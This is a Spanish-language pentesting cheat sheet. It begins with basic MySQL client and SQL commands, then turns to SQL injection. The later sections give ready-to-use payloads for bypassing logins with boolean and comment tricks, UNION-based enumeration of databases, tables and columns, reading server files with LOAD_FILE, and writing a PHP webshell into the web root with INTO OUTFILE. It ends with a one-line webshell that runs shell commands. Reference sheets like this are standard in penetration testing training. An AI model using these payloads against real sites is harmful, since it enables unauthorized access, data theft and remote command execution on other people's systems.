Cheatsheet — SQLi

Pentesting · Referencia de comandos

1. Entrar a la base de datos

Comando	¿Cuál es su función?
`mysql -u <usuario>`	Autenticación a la base de datos local (localhost) con un usuario, de forma anónima.
`mysql -u <usuario> -p`	Autenticación local con contraseña escrita de forma interactiva (recomendado).
`mysql -u <usuario> -p<password>`	Autenticación local con la contraseña escrita en el bash (no recomendado).
`mysql -u <usuario> -h <dominio/IP> -p`	Autenticación a la base de datos del dominio especificado, con contraseña interactiva.
`mysql -u <usuario> -h <dominio/IP> -P <puerto> -p`	Autenticación al dominio y puerto especificados, con contraseña interactiva.

2. Manejo y creación de la base de datos

Comando	¿Cuál es su función?
`CREATE DATABASE <nombre>;`	Crea una base de datos dentro de MySQL.
`SHOW DATABASES;`	Muestra las bases de datos creadas (existen algunas por defecto).
`CREATE TABLE <nombre> (<características>);`	Crea una tabla con las columnas especificadas y sus características.

Características de una columna

- Tipo de dato: INT (numérico), VARCHAR (texto), DATETIME (tiempo), entre otros.
- Nombre de la columna: cualquier nombre.
- NOT NULL: no permite la ausencia del dato.
- AUTO_INCREMENT: aumenta la variable automáticamente (de 1 en 1).
- UNIQUE: todos los valores de la columna son únicos.
- DEFAULT: asigna un valor predeterminado si no se ingresa.
- PRIMARY KEY: define una columna como llave primaria.

Ejemplo (con características propias):

```
CREATE TABLE usuarios (
    Id INT NOT NULL AUTO_INCREMENT,
    usuario VARCHAR(100) UNIQUE NOT NULL,
    contraseña VARCHAR(100) NOT NULL,
    fecha_llegada DATETIME DEFAULT NOW(),
    PRIMARY KEY (Id)
);
```

Comando	¿Cuál es su función?
`SHOW TABLES;`	Muestra todas las tablas de la base de datos.
`DESCRIBE <tabla>;`	Muestra las columnas y su tipo de dato en cada tabla.
`USE <base_de_datos>;`	Permite usar una base de datos en particular.

3. Selección, inserción y eliminación de datos

Comando	¿Cuál es su función?
`INSERT INTO <tabla> VALUES (col_1, col_2, col_n);`	Inserta los valores especificados en las columnas (en el orden de creación de la tabla).
`SELECT <columnas> FROM <tabla>;`	Selecciona ciertas columnas de una tabla y muestra sus valores.
`SELECT * FROM <tabla>;`	Selecciona todas las columnas de la tabla y muestra sus valores.
`DROP <tabla>;`	Elimina tablas específicas de la base de datos.
`ALTER TABLE <tabla> ADD <columna> <tipo_dato>;`	Modifica una tabla agregando una columna con su nombre y tipo de dato.
`ALTER TABLE <tabla> RENAME COLUMN <ant> TO <nue>;`	Modifica una tabla renombrando una columna.
`ALTER TABLE <tabla> MODIFY <columna> <tipo_dato_nue>;`	Modifica el tipo de dato de una columna.
`ALTER TABLE <tabla> DROP <columna>;`	Modifica una tabla eliminando una columna.
`UPDATE <tabla> SET <columna> = <valor> WHERE <condición>;`	Actualiza el valor de una columna cuando se cumple la condición del WHERE.
`SELECT * FROM <tabla> ORDER BY <columna>;`	Ordena los resultados según una columna, de forma ascendente.
`SELECT * FROM <tabla> ORDER BY <columna> DESC;`	Ordena los resultados según una columna, de forma descendente.
`SELECT * FROM <tabla> ORDER BY <col_1>, <col_n>;`	Ordena por varias columnas, con prioridad según el orden especificado.
`SELECT * FROM <tabla> LIMIT n;`	Limita los resultados a n filas.
`SELECT * FROM <tabla> LIMIT m,n;`	Limita a n filas empezando desde el registro m (índice desde 0).
`SELECT * FROM <tabla> WHERE <condición>;`	Selecciona las filas donde se cumple la condición.
`SELECT * FROM <tabla> WHERE <columna> LIKE <formato>;`	Selecciona las filas donde una columna cumple un formato en particular.

Operadores de condición

Formato: columna + operador + valor.

- `/ * %` : división, multiplicación, módulo
- `+ -` : suma, resta

- = > < <= >= != : comparaciones
- ! : NOT && : AND || : OR

Orden de prioridad: (1) / * % (2) + - (3) = > < >= <= != (4) ! (5) && (6) ||. En columnas no numéricas, la comparación se hace según el valor ASCII.

Ejemplos:

- SELECT * FROM registros WHERE username != 'john'
- SELECT * FROM registros WHERE username != 'john' AND Id > 3

4. SQL injection (bypass de login)

En adelante, el guion – indica «cualquier cosa» (palabra o carácter). La consulta base asumida es:

```
SELECT * FROM <tabla> WHERE username = '<Input_1>' AND password = '<Input_2>';
```

TRUE = condición verdadera **FALSE** = condición falsa

Bypass 1 — con usuario válido

- Input_1 = usuario_valido' OR '1' = '1
- Input_2 = –

¿Cuándo? Cuando posees un usuario válido en el sistema.

```
SELECT * FROM <tabla> WHERE username = 'usuario_valido' OR '1'='1'
AND password = '-';
```

Comparaciones	
`username = 'usuario_valido'`	**TRUE**
`'1' = '1'`	**TRUE**
`password = '-'`	**FALSE**
AND	
`'1'='1' AND password='-'`	**FALSE**
OR	
`username='usuario_valido' (TRUE) OR FALSE`	**TRUE**
✓ ACCESO CONCEDIDO (login exitoso)	

Bypass 2 — sin usuario válido

- Input_1 = –' OR '1' = '1
- Input_2 = –' OR '1' = '1

¿Cuándo? Cuando no posees usuarios válidos.

```
SELECT * FROM <tabla> WHERE username = '-' OR '1'='1'
AND password = '-' OR '1'='1';
```

Comparaciones	
`username = '-'`	**FALSE**
`'1' = '1'`	**TRUE**

`password = '-'`	**FALSE**
`'1' = '1'`	**TRUE**
AND	
`'1'='1'  AND  password='-'`	**FALSE**
OR	
`FALSE  OR  FALSE  OR  '1'='1' (TRUE)`	**TRUE**

✓ ACCESO CONCEDIDO (login exitoso)

Bypass 3 — comentario (--)

- Input_1 = usuario_valido'-- -
- Input_2 = –

¿Cuándo? Con usuario válido y cuando las otras formas están bloqueadas. Aquí no hay lógica booleana: -- convierte en comentario todo lo que sigue.

SE EJECUTA `SELECT * FROM <tabla> WHERE username = 'usuario_valido'`
SE IGNORA (comentario) ~~`-- ' AND password = '-';`~~

✓ ACCESO CONCEDIDO (se omite la verificación de contraseña)

Bypass 4 — cierre de paréntesis

- Input_1 = usuario_valido')-- -
- Input_2 = –

¿Cuándo? Cuando la consulta tiene esta forma particular (paréntesis y contraseña con hash), para saltar las condiciones que siguen (como el filtro de login del administrador). Se cierra el paréntesis y se comenta el resto.

SE EJECUTA `SELECT * FROM <tabla> WHERE (username = 'usuario_valido')`
SE IGNORA (comentario) ~~`-- ' AND id > 1) AND password = '-(HASH)';`~~

✓ ACCESO CONCEDIDO (paréntesis cerrado, resto comentado)

5. Uso de UNION

Condiciones para UNION

Ambas consultas deben tener la **misma cantidad de columnas**.

Las columnas correspondientes deben tener el **mismo tipo de dato**.

Comando	¿Cuál es su función?
`SELECT * FROM <t1> UNION SELECT * FROM <t2>;`	Combina los resultados de ambas tablas, obteniendo información de las dos.
`SELECT * FROM <t1> UNION SELECT <columna>,1,2,3 FROM <t2>;`	Combina tablas con distinta cantidad de columnas, rellenando las faltantes con números (del mismo tipo de

	dato).

6. Cantidad de columnas de una tabla

Asumiendo una petición del tipo: `SELECT <columna o *> FROM <tabla> WHERE <columna> = <Input>`.

Input	Explicación
`' ORDER BY 1-- -`	Comprueba si se puede ordenar por la primera columna. Se prueba con n números hasta obtener error: cuando falla, el número de columnas es n-1.
`<param_valido>' UNION SELECT 1,2,3-- -`	UNION solo funciona con el mismo número de columnas; se agregan columnas hasta obtener un output válido.

7. Explotación con UNION

Input	Explicación
`<param_valido>' UNION SELECT 1,@@version,3-- -`	Entrega la versión de la base de datos.
`<param_valido>' UNION SELECT 1,database(),3-- -`	Entrega la base de datos actual en uso.
`<param_valido>' UNION SELECT 1,schema_name,3 FROM INFORMATION_SCHEMA.SCHEMATA-- -`	Entrega las bases de datos disponibles (la tabla schemata de INFORMATION_SCHEMA lista las bases en schema_name).
`<param_valido>' UNION SELECT 1,table_name,table_schema FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = <base_datos>-- -`	Entrega las tablas de una base de datos en particular.
`<param_valido>' UNION SELECT column_name,table_name,table_schema FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = <tabla>-- -`	Entrega las columnas de una tabla en una base de datos en particular.
`<param_valido>' UNION SELECT <col_1>,<col_2>,3 FROM <base_datos>.<tabla>-- -`	Con toda la información, lee datos de otra base de datos en su tabla y columnas.

8. Lectura de archivos

Privilegios del usuario

Input	Explicación
`<param_valido>' UNION SELECT 1,user(),3-- -`	Entrega el usuario actual en uso en la base de datos.
`<param_valido>' UNION SELECT 1,super_priv,3 FROM mysql.user WHERE user="<usuario>"-- -`	Indica si el usuario tiene superprivilegios (lectura/escritura de archivos). Retorna Y (sí) o N (no).
`<param_valido>' UNION SELECT 1, grantee,privilege_type FROM INFORMATION_SCHEMA.user_privileges`	Entrega todos los privilegios del usuario (comandos permitidos en la base de datos).

```
WHERE grantee="'<usuario>'@'localhost'"-- -
```

Importante

El permiso que habilita la lectura de archivos es **FILE**.

Lectura con permiso FILE

Input	Explicación
`<param_valido>' UNION SELECT 1,LOAD_FILE("<archivo>"),3-- -`	Lee en pantalla el archivo indicado.
`<param_valido>' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"),3-- -`	Lee el código base PHP para ver la consulta original a la base de datos.

9. Escritura de archivos

Requisitos

Tener habilitado el permiso **FILE**.

Tener deshabilitada la variable **secure_file_priv**.

Que el usuario tenga permisos de escritura en el archivo destino (usualmente www-data, con poca privilegio, en /var/www/html).

Input	Explicación
`<param_valido>' UNION SELECT 1, variable_name,variable_value FROM INFORMATION_SCHEMA.global_variables WHERE variable_name="secure_file_priv"-- -`	Entrega el valor de secure_file_priv: vacío = lectura y escritura; NULL = ni lectura ni escritura; un directorio = permiso solo en ese directorio.
`<param_valido>' UNION SELECT 1,"<valor>",3 INTO OUTFILE '<ruta>'-- -`	Escribe texto dentro de un archivo en la ruta especificada.
`<param_valido>' UNION SELECT 1, "<Webshell>",3 INTO OUTFILE '/var/www/html/shell.<ext>'`	Escribe una webshell en la raíz del sitio para ejecutarla de forma remota.

Importante

No siempre se podrá ejecutar la webshell (medidas de seguridad sobre la extensión o la ejecución de funciones del sistema), pero la escritura del archivo debe ser exitosa si se cumplen los requisitos.

Webshell común:

```
<?php system($_REQUEST[0]); ?>
```